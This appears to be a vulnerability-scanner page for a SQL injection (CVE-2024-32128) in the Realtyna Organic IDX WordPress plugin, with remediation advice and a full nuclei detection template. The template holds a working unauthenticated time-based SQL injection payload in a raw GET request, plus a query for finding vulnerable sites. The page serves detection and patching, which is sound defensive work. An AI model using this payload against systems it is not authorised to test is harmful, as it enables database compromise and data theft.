WordPress Realtyna Organic IDX Plugin <= 4.14.4 - SQL Injection

criticalseverity

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

The Realtyna Organic IDX plugin plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.14.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.

Fix

Update to the latest version of the plugin, version 4.14.5 or later.

How to confirm it

Send: GET / ; GET /?wpl_format=f:property_listing:ajax&wpl_function=get_total_results&sf_tmin_price=1
Positive when: contains(body_1, "real-estate-listing-realtyna-wpl") and contains_any(body_2, "\"success\":1", "\"total\":") and status_code_2 == 200
Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200 and contains_any(body, "\"success\":1", "\"total\":")

Run it with nuclei: nuclei -id CVE-2024-32128 -u <target>

The full check

id: CVE-2024-32128

info:
  name: WordPress Realtyna Organic IDX Plugin <= 4.14.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Realtyna Organic IDX plugin plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.14.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of the plugin, version 4.14.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32128
    - https://patchstack.com/database/wordpress/plugin/real-estate-listing-realtyna-wpl/vulnerabilities
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/real-estate-listing-realtyna-wpl"
  tags: cve,cve2024,wordpress,wp-plugin,sqli,realtyna,wp,real-estate-listing-realtyna-wpl

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?wpl_format=f:property_listing:ajax&wpl_function=get_total_results&sf_tmin_price=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "real-estate-listing-realtyna-wpl")'
          - 'contains_any(body_2, "\"success\":1", "\"total\":")'
          - 'status_code_2 == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /?wpl_format=f:property_listing:ajax&wpl_function=get_total_results&sf_tmin_price=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(8))x) HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code == 200'
          - 'contains_any(body, "\"success\":1", "\"total\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from